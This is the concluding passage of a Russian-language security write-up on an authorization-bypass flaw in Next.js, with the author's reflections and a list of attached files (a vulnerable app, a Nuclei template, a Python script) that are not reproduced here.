Сложно писать вывод по этой теме. Во-первых, просто поражает то насколько простой, но при этом разрушительной может быть ошибка в коде крупного проекта. Next.js не какой-то пет-проект, а полноценный фреймворк, который скачивают 10 миллионов раз в неделю. Цифры просто колоссальные. При этом, такая нелепая ошибка в дизайне. Во-вторых, поражает тот масштаб проблем, которые способна породить эта простая уязвимость. Это не просто обход авторизации, это обход кучи всего.В статье, я надеюсь, довольно неплохо рассмотрел уязвимость и вытекающие последствия. Рассказал о целом ряде интересных заголовков, Мы попробовали поработать с несколькими специально созданными проектами. Один накидали сами, один рассмотрели в теории.
Мне кажется, что статья исчерпывающая и не должна оставить каких-то вопросов, кроме обсуждения вариантов применения. А вы как считаете? Если в начале чтения было непонятно о чем речь и как работает, а в конце есть ощущение что все просто и легко, значит цель достигнута)
P.S.
В прикрепленном архиве лежат:
1. Уязвимое веб-приложение
2. Шаблон Nuclei
3. Скрипт Python